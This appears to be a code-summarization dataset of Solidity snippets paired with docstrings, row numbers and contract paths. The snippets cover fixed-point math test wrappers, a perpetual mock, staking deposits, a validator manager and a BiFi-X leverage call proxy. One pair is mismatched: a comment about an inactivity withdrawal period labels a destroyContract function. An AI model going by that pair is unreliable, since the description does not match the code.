FixedPoint.Unsigned(a).mulCeil(FixedPoint.Unsigned(b)).rawValue; } // The first uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly. function wrapMixedMul(uint256 a, uint256 b) external pure returns (uint256) { return FixedPoint.Unsigned(a).mul(b).rawValue; } function wrapMixedMulCeil(uint256 a, uint256 b) external pure returns (uint256) { return FixedPoint.Unsigned(a).mulCeil(b).rawValue; } function wrapDiv(uint256 a, uint256 b) external pure returns (uint256) { return FixedPoint.Unsigned(a).div(FixedPoint.Unsigned(b)).rawValue; } function wrapDivCeil(uint256 a, uint256 b) external pure returns (uint256) { return FixedPoint.Unsigned(a).divCeil(FixedPoint.Unsigned(b)).rawValue; } // The first uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly. function wrapMixedDiv(uint256 a, uint256 b) external pure returns (uint256) { return FixedPoint.Unsigned(a).div(b).rawValue; } function wrapMixedDivCeil(uint256 a, uint256 b) external pure returns (uint256) { return FixedPoint.Unsigned(a).divCeil(b).rawValue; } // The second uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly. function wrapMixedDivOpposite(uint256 a, uint256 b) external pure returns (uint256) { return a.div(FixedPoint.Unsigned(b)).rawValue; } // The first uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly. function wrapPow(uint256 a, uint256 b) external pure returns (uint256) { return FixedPoint.Unsigned(a).pow(b).rawValue; } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import "../implementation/FixedPoint.sol"; // Wraps the FixedPoint library for testing purposes. contract SignedFixedPointTest { using FixedPoint for FixedPoint.Signed; using FixedPoint for int256; using SafeMath for int256; function wrapFromSigned(int256 a) external pure returns (uint256) { return FixedPoint.fromSigned(FixedPoint.Signed(a)).rawValue; } function wrapFromUnsigned(uint256 a) external pure returns (int256) { return FixedPoint.fromUnsigned(FixedPoint.Unsigned(a)).rawValue; } function wrapFromUnscaledInt(int256 a) external pure returns (int256) { return FixedPoint.fromUnscaledInt(a).rawValue; } function wrapIsEqual(int256 a, int256 b) external pure returns (bool) { return FixedPoint.Signed(a).isEqual(FixedPoint.Signed(b)); } function wrapMixedIsEqual(int256 a, int256 b) external pure returns (bool) { return FixedPoint.Signed(a).isEqual(b); } function wrapIsGreaterThan(int256 a, int256 b) external pure returns (bool) { return FixedPoint.Signed(a).isGreaterThan(FixedPoint.Signed(b)); } function wrapIsGreaterThanOrEqual(int256 a, int256 b) external pure returns (bool) { return FixedPoint.Signed(a).isGreaterThanOrEqual(FixedPoint.Signed(b)); } function wrapMixedIsGreaterThan(int256 a, int256 b) external pure returns (bool) { return FixedPoint.Signed(a).isGreaterThan(b); } function wrapMixedIsGreaterThanOrEqual(int256 a, int256 b) external pure returns (bool) { return FixedPoint.Signed(a).isGreaterThanOrEqual(b); } function wrapMixedIsGreaterThanOpposite(int256 a, int256 b) external pure returns (bool) { return a.isGreaterThan(FixedPoint.Signed(b)); } function wrapMixedIsGreaterThanOrEqualOpposite(int256 a, int256 b) external pure returns (bool) { return a.isGreaterThanOrEqual(FixedPoint.Signed(b)); } function wrapIsLessThan(int256 a, int256 b) external pure returns (bool) { return FixedPoint.Signed(a).isLessThan(FixedPoint.Signed(b)); } function wrapIsLessThanOrEqual(int256 a, int256 b) external pure returns (bool) { return FixedPoint.Signed(a).isLessThanOrEqual(FixedPoint.Signed(b)); } function wrapMixedIsLessThan(int256 a, int256 b) external pure returns (bool) { return FixedPoint.Signed(a).isLessThan(b); } function wrapMixedIsLessThanOrEqual(int256 a, int256 b) external pure returns (bool) { return FixedPoint.Signed(a).isLessThanOrEqual(b); } function wrapMixedIsLessThanOpposite(int256 a, int256 b) external pure returns (bool) { return a.isLessThan(FixedPoint.Signed(b)); } function wrapMixedIsLessThanOrEqualOpposite(int256 a, int256 b) external pure returns (bool) { return a.isLessThanOrEqual(FixedPoint.Signed(b)); } function wrapMin(int256 a, int256 b) external pure returns (int256) { return FixedPoint.Signed(a).min(FixedPoint.Signed(b)).rawValue; } function wrapMax(int256 a, int256 b) external pure returns (int256) { return FixedPoint.Signed(a).max(FixedPoint.Signed(b)).rawValue; } function wrapAdd(int256 a, int256 b) external pure returns (int256) { return FixedPoint.Signed(a).add(FixedPoint.Signed(b)).rawValue; } // The first int256 is interpreted with a scaling factor and is converted to an `Unsigned` directly. function wrapMixedAdd(int256 a, int256 b) external pure returns (int256) { return FixedPoint.Signed(a).add(b).rawValue; } function wrapSub(int256 a, int256 b) external pure returns (int256) { return FixedPoint.Signed(a).sub(FixedPoint.Signed(b)).rawValue; } // The first int256 is interpreted with a scaling factor and is converted to an `Unsigned` directly. function wrapMixedSub(int256 a, int256 b) external pure returns (int256) { return FixedPoint.Signed(a).sub(b).rawValue; } // The second int256 is interpreted with a scaling factor and is converted to an `Unsigned` directly. function wrapMixedSubOpposite(int256 a, int256 b) external pure returns (int256) { return a.sub(FixedPoint.Signed(b)).rawValue; } function wrapMul(int256 a, int256 b) external pure returns (int256) { return FixedPoint.Signed(a).mul(FixedPoint.Signed(b)).rawValue; } function wrapMulAwayFromZero(int256 a, int256 b) external pure returns (int256) { return FixedPoint.Signed(a).mulAwayFromZero(FixedPoint.Signed(b)).rawValue; } // The first int256 is interpreted with a scaling factor and is converted to an `Unsigned` directly. function wrapMixedMul(int256 a, int256 b) external pure returns (int256) { return FixedPoint.Signed(a).mul(b).rawValue; } function wrapMixedMulAwayFromZero(int256 a, int256 b) external pure returns (int256) { return FixedPoint.Signed(a).mulAwayFromZero(b).rawValue; } function wrapDiv(int256 a, int256 b) external pure returns (int256) { return FixedPoint.Signed(a).div(FixedPoint.Signed(b)).rawValue; } function wrapDivAwayFromZero(int256 a, int256 b) external pure returns (int256) { return FixedPoint.Signed(a).divAwayFromZero(FixedPoint.Signed(b)).rawValue; } // The first int256 is interpreted with a scaling factor and is converted to an `Unsigned` directly. function wrapMixedDiv(int256 a, int256 b) external pure returns (int256) { return FixedPoint.Signed(a).div(b).rawValue; } function wrapMixedDivAwayFromZero(int256 a, int256 b) external pure returns (int256) { return FixedPoint.Signed(a).divAwayFromZero(b).rawValue; } // The second int256 is interpreted with a scaling factor and is converted to an `Unsigned` directly. function wrapMixedDivOpposite(int256 a, int256 b) external pure returns (int256) { return a.div(FixedPoint.Signed(b)).rawValue; } // The first int256 is interpreted with a scaling factor and is converted to an `Unsigned` directly. function wrapPow(int256 a, uint256 b) external pure returns (int256) { return FixedPoint.Signed(a).pow(b).rawValue; } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../common/implementation/FixedPoint.sol"; /** * @title Simple Perpetual Mock to serve trivial functions */ contract PerpetualMock { struct FundingRate { FixedPoint.Signed rate; bytes32 identifier; FixedPoint.Unsigned cumulativeMultiplier; uint256 updateTime; uint256 applicationTime; uint256 proposalTime; } using FixedPoint for FixedPoint.Unsigned; using FixedPoint for FixedPoint.Signed; FundingRate public fundingRate; // Interface functions required to be implemented in order for an instance of this contract to be passed into the // off-chain FinancialContractClient helper module: FixedPoint.Unsigned public collateralRequirement; uint256 public liquidationLiveness; FixedPoint.Unsigned public cumulativeFeeMultiplier; mapping(address => uint256) public positions; mapping(address => uint256) public liquidations; event NewSponsor(address indexed sponsor); event EndedSponsorPosition(); event LiquidationCreated(); function getCurrentTime() public view returns (uint256) { return now; } // Public methods that are useful for tests: function setFundingRate(FundingRate memory _fundingRate) external { fundingRate = _fundingRate; } function applyFundingRate() external { fundingRate.applicationTime = block.timestamp; // Simplified rate calcualtion. // multiplier = multiplier * (1 + rate) fundingRate.cumulativeMultiplier = fundingRate.cumulativeMultiplier.mul( FixedPoint.fromSigned(FixedPoint.fromUnscaledInt(1).add(fundingRate.rate)) ); } }
Mark claim as completed for `accountIndex` for Merkle root at `windowIndex`.
function _setClaimed(uint256 windowIndex, uint256 accountIndex) private { uint256 claimedWordIndex = accountIndex / 256; uint256 claimedBitIndex = accountIndex % 256; claimedBitMap[windowIndex][claimedWordIndex] = claimedBitMap[windowIndex][claimedWordIndex] | (1 << claimedBitIndex); }
99,628
./partial_match/4/0x8Af0D8E910b23Ca0a6C0c832efA07EE494AB4346/sources/DMEX_Base.sol
Sets the inactivity period before a user can withdraw funds manually
function destroyContract() onlyOwner returns (bool success) { if (destroyed) throw; destroyBlock = block.number; return true; }
8,702,366
./partial_match/1/0x53BbAB02c0fb63A422F21204E6d99B9d092B5fC1/sources/contracts/Staking.sol
Deposit token. Send `_amount` as 0 for claim effect./
function deposit(uint256 _amount) external { PoolInfo storage pool = poolInfo; UserInfo storage user = userInfo[msg.sender]; updatePool(); if (user.amount > 0) { uint256 pending = ((user.amount * pool.accTokensPerShare) / 1e12) - user.rewardDebt; if (pending > 0) { _safeTransfer(msg.sender, pending); } } if (_amount != 0) { pool.stakingToken.safeTransferFrom(address(msg.sender), address(this), _amount); user.amount = user.amount + _amount; pool.totalDeposited += _amount; } user.rewardDebt = (user.amount * pool.accTokensPerShare) / 1e12; emit Deposit(msg.sender, _amount); }
4,224,795
// Copyright 2021 Cartesi Pte. Ltd. // SPDX-License-Identifier: Apache-2.0 // Licensed under the Apache License, Version 2.0 (the "License"); you may not use // this file except in compliance with the License. You may obtain a copy of the // License at http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software distributed // under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR // CONDITIONS OF ANY KIND, either express or implied. See the License for the // specific language governing permissions and limitations under the License. /// @title Validator Manager facet (alternative version) pragma solidity ^0.8.0; import {IValidatorManager} from "../../interfaces/IValidatorManager.sol"; import {LibValidatorManager1} from "../../libraries/alternatives/LibValidatorManager1.sol"; contract ValidatorManagerFacet1 is IValidatorManager { /// @notice get agreement mask /// @return current state of agreement mask function getCurrentAgreementMask() public view returns (uint32) { LibValidatorManager1.DiamondStorage storage validatorManagerDS = LibValidatorManager1.diamondStorage(); return validatorManagerDS.claimAgreementMask; } /// @notice get consensus goal mask /// @return current consensus goal mask function getConsensusGoalMask() public view returns (uint32) { LibValidatorManager1.DiamondStorage storage validatorManagerDS = LibValidatorManager1.diamondStorage(); return validatorManagerDS.consensusGoalMask; } /// @notice get current claim /// @return current claim function getCurrentClaim() public view override returns (bytes32) { LibValidatorManager1.DiamondStorage storage validatorManagerDS = LibValidatorManager1.diamondStorage(); return validatorManagerDS.currentClaim; } }
get agreement mask return current state of agreement mask
function getCurrentAgreementMask() public view returns (uint32) { LibValidatorManager1.DiamondStorage storage validatorManagerDS = LibValidatorManager1.diamondStorage(); return validatorManagerDS.claimAgreementMask; }
12,733,811
// SPDX-License-Identifier: BSD-3-Clause pragma solidity ^0.6.12; pragma experimental ABIEncoderV2; import "../interfaces/bifi/IManagerDataStorage.sol"; import "../interfaces/bifi/IMarketManager.sol"; import "../interfaces/bifi/IMarketHandler.sol"; import "../interfaces/bifi/ICallProxy.sol"; import "../interfaces/IPositionStorage.sol"; import "../interfaces/uniswap/IUniswapV2Router02.sol"; import "../interfaces/IStrategy.sol"; import "../interfaces/IFactory.sol"; import "../utils/SafeMath.sol"; /** * @title BiFi-X's call proxy Contract * @author BiFi-X(seinmyung25, Miller-kk, tlatkdgus1, dongchangYoo) */ contract CallProxy { using SafeMath for uint256; IMarketManager public manager; IPositionStorage public positionStorage; IFactory public factory; ICallProxy public bifiCallProxy; address owner; uint256 unifiedPoint = 10 ** 18; // uniswapFee: 0.3% uint256 public uniswapFeePercent = 0.003 ether; uint256[] stableCoin = [1,2,4]; uint256[] generalCoin = [0,3]; uint256 constant ETH_ID = 0; struct TokenInfo { address tokenAddr; uint64 decimal; } mapping(uint256 => TokenInfo) public tokenInfo; struct StartPosition { uint256 depositAPY; uint256 borrowAPY; uint256 collateralAmount; uint256 expectedDepositAmount; uint256 expectedBorrowAmount; uint256 srcPrice; uint256 dstPrice; uint256 netLTV; uint256 flashloanFee; uint256 uniswapFee; uint256 flashloanFeePercent; uint256 uniswapFeePercent; uint256 bifiFee; } struct EndPosition { uint256 srcHandlerID; uint256 dstHandlerID; uint256 srcPrice; uint256 dstPrice; uint256 depositAmount; uint256 borrowAmount; uint256 depositAmountWithInterest; uint256 borrowAmountWithInterest; uint256 amountsInMax; uint256 flashloanFee; uint256 flashloanFeePercent; uint256 uniswapFee; uint256 uniswapFeePercent; uint256 bifiReward; } enum PositionInfo { Earn, Long, Short } struct PositionStatus { PositionInfo positionState; address positionAddress; uint256 scope; uint256 srcHandlerID; uint256 dstHandlerID; // when position was created, asset and price information uint256 depositAsset; uint256 srcAsset; // This is seedAsset (The asset of collateral) uint256 dstAsset; // This is borrowAsset (The asset of borrow) uint256 srcPrice; // This is seedPrice (The price of collateral) uint256 dstPrice; // This is borrowPrice (The price of borrow) // currnet position's price uint256 srcCurrentPrice; uint256 dstCurrentPrice; uint256 ltv; uint256 appraisedAsset; // This is current position's asset uint256 depositAmount; uint256 borrowAmount; uint256 depositInterestAmount; uint256 borrowInterestAmount; uint256 bifiReward; } struct UserReward { uint256 rewardLane; uint256 rewardLaneUpdateAt; uint256 rewardAmount; } modifier onlyOwner { require(msg.sender == owner); _; } constructor(address managerAddr, address positionStorageAddr, address factoryAddr, address bifiCallProxyAddr) public { owner = msg.sender; manager = IMarketManager(managerAddr); positionStorage = IPositionStorage(positionStorageAddr); factory = IFactory(factoryAddr); bifiCallProxy = ICallProxy(bifiCallProxyAddr); } function setManager(address managerAddr) external onlyOwner { manager = IMarketManager(managerAddr); } function setPositionStorage(address positionStorageAddr) external onlyOwner { positionStorage = IPositionStorage(positionStorageAddr); } function setUniswapFeePercent(uint256 feePercent) external onlyOwner { uniswapFeePercent = feePercent; } function setTokenInfo(uint256 handlerID, address tokenAddr, uint64 decimal) external onlyOwner { tokenInfo[handlerID] = TokenInfo(tokenAddr, decimal); } function setTokenInfos(uint256[] memory handlerID, address[] memory tokenAddr, uint64[] memory decimal) external onlyOwner { for (uint256 i = 0; i < handlerID.length; i++) { tokenInfo[handlerID[i]] = TokenInfo(tokenAddr[i], decimal[i]); } } function getTokenInfo(uint256 handlerID) external view returns (TokenInfo memory) { return tokenInfo[handlerID]; } // Get information of position function getStartPosition(uint256 srcHandlerID, uint256 dstHandlerID, uint256 collateralAmount, uint256 times, uint256 feePercent, address userAddr, uint256 bifiAmount) external view returns (StartPosition memory) { StartPosition memory position; (position.depositAPY, ) = _getSIRandBIR(srcHandlerID); (, position.borrowAPY) = _getSIRandBIR(dstHandlerID); feePercent = feePercent.unifiedMul(times); // fee = flashloanAmount * fee Pecent uint256 fee = collateralAmount.unifiedMul(times.sub(unifiedPoint)).unifiedMul(feePercent); collateralAmount = collateralAmount.sub(fee); position.expectedDepositAmount = collateralAmount.unifiedMul(times); uint256 flashloanAmount = position.expectedDepositAmount.sub(collateralAmount); position.expectedBorrowAmount = position.expectedDepositAmount.sub(collateralAmount); position.bifiFee = factory.payFee(userAddr); // it is weird, but no revert if (bifiAmount > position.bifiFee) { bifiAmount = bifiAmount.sub(position.bifiFee); } position.flashloanFee = _getFlashFee(srcHandlerID, flashloanAmount, bifiAmount); // send enough flashloanFee 0.001% more position.flashloanFee = position.flashloanFee.add(position.flashloanFee.unifiedMul(10 ** 15)); position.flashloanFeePercent = _getFlashFeePercent(srcHandlerID); position.netLTV = position.expectedBorrowAmount.unifiedDiv(position.expectedDepositAmount); position.srcPrice = manager.getTokenHandlerPrice(srcHandlerID); position.dstPrice = manager.getTokenHandlerPrice(dstHandlerID); // uniswapFeePercent == 0.3% position.uniswapFeePercent = uniswapFeePercent; if (srcHandlerID != dstHandlerID) { position.uniswapFee = flashloanAmount .unifiedMul(position.uniswapFeePercent + 0.003 ether); // swap twice, pool is not enough if (srcHandlerID != ETH_ID && dstHandlerID != ETH_ID) { position.uniswapFee = position.uniswapFee.mul(2); position.uniswapFeePercent = position.uniswapFeePercent.mul(2); } } position.uniswapFee = position.uniswapFee + fee; position.collateralAmount = collateralAmount.sub(position.uniswapFee).sub(position.flashloanFee); position.expectedDepositAmount = position.collateralAmount.unifiedMul(times); position.expectedBorrowAmount = position.expectedDepositAmount.sub(position.collateralAmount); if (srcHandlerID != dstHandlerID) { position.expectedBorrowAmount = position.expectedBorrowAmount .unifiedMul(manager.getTokenHandlerPrice(srcHandlerID)) .unifiedDiv(manager.getTokenHandlerPrice(dstHandlerID)); } return position; } function getAllPositionStatus(address userAddr) external view returns (PositionStatus[] memory) { uint256 positionIndex; address[] memory products = positionStorage.getUserProducts(userAddr); PositionStatus[] memory positionPackage = new PositionStatus[](products.length); for (uint256 i = 0; i < products.length; i++) { if (_isContract(products[i])) { positionPackage[positionIndex] = _getPositionStatus(products[i]); positionIndex++; } } PositionStatus[] memory trimmedResult = new PositionStatus[](positionIndex); for (uint j = 0; j < trimmedResult.length; j++) { trimmedResult[j] = positionPackage[j]; } return trimmedResult; } function getFee(address userAddr) external view returns (uint256) { return factory.payFee(userAddr); } function _getPositionStatus(address positionAddr) internal view returns (PositionStatus memory) { IStrategy strategy = IStrategy(positionAddr); PositionStatus memory positionStatus; positionStatus.positionAddress = positionAddr; (positionStatus.srcHandlerID, positionStatus.dstHandlerID) = _getPositionLendingID(positionAddr); (positionStatus.depositAmount,) = _getUserAmount(positionStatus.srcHandlerID, positionAddr); (,positionStatus.borrowAmount) = _getUserAmount(positionStatus.dstHandlerID, positionAddr); (positionStatus.depositInterestAmount,) = _getUserAmountWithInterest(positionStatus.srcHandlerID, positionAddr); (,positionStatus.borrowInterestAmount) = _getUserAmountWithInterest(positionStatus.dstHandlerID, positionAddr); positionStatus.srcCurrentPrice = manager.getTokenHandlerPrice(positionStatus.srcHandlerID); positionStatus.dstCurrentPrice = manager.getTokenHandlerPrice(positionStatus.dstHandlerID); uint256 borrowInterestAsset = positionStatus.borrowInterestAmount.unifiedMul(positionStatus.dstCurrentPrice); uint256 depositInterestAsset = positionStatus.depositInterestAmount.unifiedMul(positionStatus.srcCurrentPrice); positionStatus.ltv = borrowInterestAsset.unifiedDiv(depositInterestAsset); positionStatus.depositAsset = strategy.getDepositAsset(); positionStatus.srcAsset = strategy.getSrcAsset(); positionStatus.srcPrice = strategy.getSrcPrice(); positionStatus.dstAsset = strategy.getDstAsset(); positionStatus.dstPrice = strategy.getDstPrice(); if (positionStatus.srcAsset != 0) { positionStatus.scope = positionStatus.depositAmount.unifiedMul(positionStatus.srcPrice).unifiedDiv(positionStatus.srcAsset); } positionStatus.appraisedAsset = positionStatus.depositInterestAmount.unifiedMul(positionStatus.srcPrice).sub(positionStatus.borrowInterestAmount.unifiedMul(positionStatus.dstPrice)); (,,,positionStatus.bifiReward) = bifiCallProxy.callProxySI_getSI(payable(positionAddr)); positionStatus.positionState = _getPositionName(positionStatus.srcHandlerID, positionStatus.dstHandlerID); return positionStatus; } function getEndPosition(address positionAddr, uint256 slippage, uint256 bifiAmount) external view returns (EndPosition memory) { EndPosition memory endPosition; endPosition = _getPositionLendingInfo(positionAddr); if (endPosition.dstHandlerID == 100) { return endPosition; } endPosition.flashloanFeePercent = _getFlashFeePercent(endPosition.dstHandlerID); endPosition.flashloanFee = _getFlashFee(endPosition.dstHandlerID, endPosition.borrowAmountWithInterest, bifiAmount); // uniswapFeePercent == 0.3% if (endPosition.srcHandlerID != endPosition.dstHandlerID) { // uint256 srcTokenPrice = manager.getTokenHandlerPrice(endPosition.srcHandlerID); // uint256 dstTokenPrice = manager.getTokenHandlerPrice(endPosition.dstHandlerID); // original collateralOut // collateralOut은 κ°šμ„ λŒ€μƒμ΄λ―€λ‘œ endPosition.borrowAmountWithInterest // endPosition.borrowAmountWithInterest uint amountsOut = endPosition.borrowAmountWithInterest.add(endPosition.flashloanFee); endPosition.amountsInMax = _getAmountsIn(amountsOut, [endPosition.srcHandlerID, endPosition.dstHandlerID]); // apply slippage // amountsInMax / 100 * (100 - splipage) endPosition.amountsInMax = (endPosition.amountsInMax).unifiedMul(unifiedPoint.add(slippage)); endPosition.uniswapFeePercent = uniswapFeePercent; endPosition.uniswapFee = endPosition.borrowAmountWithInterest.unifiedMul(endPosition.uniswapFeePercent); // swap twice, pool is not enough if (endPosition.srcHandlerID != ETH_ID && endPosition.dstHandlerID != ETH_ID) { endPosition.uniswapFee = endPosition.uniswapFee.mul(2); endPosition.uniswapFeePercent = endPosition.uniswapFeePercent.mul(2); } } endPosition.uniswapFee = endPosition.uniswapFee.mul(2); (,,,endPosition.bifiReward) = bifiCallProxy.callProxySI_getSI(payable(positionAddr)); return endPosition; } function getClaimableBifi(address positionAddr) external view returns (uint256) { (,,,uint256 bifiReward) = bifiCallProxy.callProxySI_getSI(payable(positionAddr)); return bifiReward; } function _getPositionLendingID(address positionAddr) internal view returns (uint256, uint256) { uint256 depositAmount; uint256 borrowAmount; uint256 srcHandlerID; uint256 dstHandlerID; uint256 tokenHandlerLength = manager.getTokenHandlersLength(); for (uint256 i = 0; i < tokenHandlerLength; i++) { (depositAmount, borrowAmount) = _getUserAmount(i, positionAddr); if (depositAmount > 0) { srcHandlerID = i; } if (borrowAmount > 0) { dstHandlerID = i; } } return (srcHandlerID, dstHandlerID); } // TODO getPositionLending Infoμ—μ„œ EndPosition ꡬ쑰체λ₯Ό μ‚¬μš©μ€‘ ? function _getPositionLendingInfo(address positionAddr) internal view returns (EndPosition memory) { EndPosition memory endPosition; uint256 depositAmount; uint256 borrowAmount; uint256 tokenHandlerLength = manager.getTokenHandlersLength(); // if position don't exist, 100 endPosition.srcHandlerID = 100; endPosition.dstHandlerID = 100; for (uint256 i = 0; i < tokenHandlerLength; i++) { (depositAmount, borrowAmount) = _getUserAmount(i, positionAddr); if (depositAmount > 0) { endPosition.srcHandlerID = i; endPosition.depositAmount = depositAmount; (endPosition.depositAmountWithInterest, ) = _getUserAmountWithInterest(i, positionAddr); } if (borrowAmount > 0) { endPosition.dstHandlerID = i; endPosition.borrowAmount = borrowAmount; ( ,endPosition.borrowAmountWithInterest) = _getUserAmountWithInterest(i, positionAddr); } } return endPosition; } function getCurrentLTV(address positionAddr) external view returns (uint256) { return _getCurrentLTV(positionAddr); } function getMaxBoost(uint256 handlerID) external view returns (uint256) { return _getMaxBoost(handlerID); } function getFlashFeePercent(uint256 handlerID) external view returns (uint256) { return _getFlashFeePercent(handlerID); } function getPositionName(uint256 srcHandlerID, uint256 dstHandlerID) external view returns (PositionInfo) { return _getPositionName(srcHandlerID, dstHandlerID); } function _getPositionName(uint256 srcHandlerID, uint256 dstHandlerID) internal view returns (PositionInfo) { if (srcHandlerID == dstHandlerID) { return PositionInfo.Earn; } else { if (_arrayChecker(srcHandlerID, stableCoin)) { return PositionInfo.Short; } else if (_arrayChecker(dstHandlerID, stableCoin)) { return PositionInfo.Long; } } } function _arrayChecker(uint256 id, uint256[] memory ids) internal pure returns (bool) { for (uint256 i = 0; i < ids.length; i++) { if (id == ids[i]) { return true; } } return false; } function _getCurrentLTV(address positionAddr) internal view returns (uint256) { EndPosition memory endPosition; endPosition = _getPositionLendingInfo(positionAddr); uint256 ltv; if (endPosition.srcHandlerID == 100) { ltv = 0; } else { ltv = endPosition.borrowAmountWithInterest.unifiedDiv(endPosition.depositAmountWithInterest); } return ltv; } function _getPositionRewardAll(address positionAddr) internal view returns (uint256) { uint256 totalAmount = 0; uint256 tokenHandlerLength = manager.getTokenHandlersLength(); uint256[] memory rewardInfo = new uint256[](tokenHandlerLength); rewardInfo = _getPositionRewardInfo(positionAddr); for (uint256 i = 0; i < rewardInfo.length; i++) { totalAmount += rewardInfo[i]; } return totalAmount; } function _getPositionRewardInfo(address positionAddr) internal view returns (uint256[] memory) { uint256 rewardAmount; uint256 tokenHandlerLength = manager.getTokenHandlersLength(); uint256[] memory rewardInfo = new uint256[](tokenHandlerLength); for (uint256 i = 0; i < tokenHandlerLength; i++) { (,address handlerAddr,) = manager.getTokenHandlerInfo(i); IMarketHandler handler = IMarketHandler(handlerAddr); (,bytes memory data) = handler.siViewProxy(abi.encodeWithSelector(handler.getUserRewardInfo.selector, positionAddr)); (, , rewardAmount) = abi.decode(data, (uint256, uint256, uint256)); rewardInfo[i] = rewardAmount; } return rewardInfo; } function _getNetLTV(uint256 times) internal view returns (uint256) { uint256 netLTV = unifiedPoint.sub(unifiedPoint.unifiedDiv(times)); return netLTV; } function _getFlashFee(uint256 handlerID, uint256 flashAmount, uint256 bifiAmount) internal view returns (uint256 fee) { fee = manager.getFeeFromArguments(handlerID, flashAmount, bifiAmount); } function _getFlashFeePercent(uint256 handlerID) internal view returns (uint256) { uint256 feePercent = manager.getFeePercent(handlerID); return feePercent; } function getUserAmount(uint256 handlerID, address positionAddr) external view returns (uint256, uint256) { return _getUserAmount(handlerID, positionAddr); } function getAmount(address payable dataStorage, address payable positionAddr) external view returns (uint256, uint256) { return IMarketHandler(dataStorage).getUserAmount(positionAddr); } function getAmountsOut(uint amountIn, uint256[2] memory tokenIds) external view returns (uint) { return _getAmountsOut(amountIn, tokenIds); } function getAmountsIn(uint amountsOut, uint256[2] memory tokenIds) external view returns (uint) { return _getAmountsIn(amountsOut, tokenIds); } function _getAmountsIn(uint amountsOut, uint256[2] memory tokenIds) internal view returns (uint) { IUniswapV2Router02 uniswap = IUniswapV2Router02(factory.getUniswapAddr()); address wethAddr = factory.getWETHAddr(); address[] memory path; uint256 swapCount = 3; if (tokenIds[0] == 0 || tokenIds[1] == 0) { swapCount = 2; } if (swapCount > 2) { path = new address[](3); path[0] = tokenInfo[tokenIds[0]].tokenAddr; path[1] = wethAddr; path[2] = tokenInfo[tokenIds[1]].tokenAddr; } else { path = new address[](2); path[0] = tokenInfo[tokenIds[0]].tokenAddr; path[1] = tokenInfo[tokenIds[1]].tokenAddr; } uint256 underlyingAmountsout = _convertUnifiedToUnderlying(amountsOut, tokenInfo[tokenIds[1]].decimal); uint amounts = uniswap.getAmountsIn(underlyingAmountsout, path)[0]; return _convertUnderlyingToUnified(amounts, tokenInfo[tokenIds[0]].decimal); } function _getAmountsOut(uint amountIn, uint256[2] memory tokenIds) internal view returns (uint) { IUniswapV2Router02 uniswap = IUniswapV2Router02(factory.getUniswapAddr()); address wethAddr = factory.getWETHAddr(); address[] memory path; uint256 swapCount = 3; if (tokenIds[0] == 0 || tokenIds[1] == 0) { swapCount = 2; } if (swapCount > 2) { path = new address[](3); path[0] = tokenInfo[tokenIds[0]].tokenAddr; path[1] = wethAddr; path[2] = tokenInfo[tokenIds[1]].tokenAddr; } else { path = new address[](2); path[0] = tokenInfo[tokenIds[0]].tokenAddr; path[1] = tokenInfo[tokenIds[1]].tokenAddr; } uint256 underlyingAmountIn = _convertUnifiedToUnderlying(amountIn, tokenInfo[tokenIds[0]].decimal); uint amounts = uniswap.getAmountsOut(underlyingAmountIn, path)[path.length - 1]; return _convertUnderlyingToUnified(amounts, tokenInfo[tokenIds[1]].decimal); } function _getUserAmount(uint256 handlerID, address positionAddr) internal view returns (uint256, uint256) { (,address handlerAddr,) = manager.getTokenHandlerInfo(handlerID); IMarketHandler handler = IMarketHandler(handlerAddr); (,bytes memory data)= handler.handlerViewProxy( abi.encodeWithSelector(handler.getUserAmount.selector, positionAddr) ); return abi.decode(data, (uint256, uint256)); } function _getUserAmountWithInterest(uint256 handlerID, address positionAddr) internal view returns (uint256, uint256) { (,address handlerAddr,) = manager.getTokenHandlerInfo(handlerID); IMarketHandler handler = IMarketHandler(handlerAddr); (,bytes memory data)= handler.handlerViewProxy( abi.encodeWithSelector(handler.getUserAmountWithInterest.selector, positionAddr) ); return abi.decode(data, (uint256, uint256)); } // Get BIR and SIR function _getSIRandBIR(uint256 handlerID) internal view returns (uint256, uint256) { (,address handlerAddr,) = manager.getTokenHandlerInfo(handlerID); IMarketHandler handler = IMarketHandler(handlerAddr); (,bytes memory data)= handler.handlerViewProxy( abi.encodeWithSelector(handler.getSIRandBIR.selector) ); return abi.decode(data, (uint256, uint256)); } function _getMaxBoost(uint256 handlerID) internal view returns (uint256) { (,address handlerAddr,) = manager.getTokenHandlerInfo(handlerID); IMarketHandler handler = IMarketHandler(handlerAddr); (,bytes memory data)= handler.handlerViewProxy( abi.encodeWithSelector(handler.getTokenHandlerBorrowLimit.selector) ); uint256 borrowLimit = abi.decode(data, (uint256)); return unifiedPoint.unifiedDiv(unifiedPoint.sub(borrowLimit)); } /** * @dev Convert amount of handler's unified decimals to amount of token's underlying decimals * @param unifiedTokenAmount The amount of unified decimals * @return (underlyingTokenAmount) */ function _convertUnifiedToUnderlying(uint256 unifiedTokenAmount, uint256 decimal) internal view returns (uint256) { return unifiedTokenAmount.mul(decimal) / unifiedPoint; } /** * @dev Convert amount of token's underlying decimals to amount of handler's unified decimals * @param underlyingTokenAmount The amount of underlying decimals * @return (unifiedTokenAmount) */ function _convertUnderlyingToUnified(uint256 underlyingTokenAmount, uint256 decimal) internal view returns (uint256) { return underlyingTokenAmount.mul(unifiedPoint) / decimal; } function isContract(address _addr) public view returns (bool) { return _isContract(_addr); } function _isContract(address _addr) internal view returns (bool) { uint32 size; assembly { size := extcodesize(_addr) } return (size > 0); } }
uniswapFeePercent == 0.3% uint256 srcTokenPrice = manager.getTokenHandlerPrice(endPosition.srcHandlerID); uint256 dstTokenPrice = manager.getTokenHandlerPrice(endPosition.dstHandlerID); original collateralOut collateralOut은 κ°šμ„ λŒ€μƒμ΄λ―€λ‘œ endPosition.borrowAmountWithInterest endPosition.borrowAmountWithInterest apply slippage amountsInMax / 100 (100 - splipage) swap twice, pool is not enough
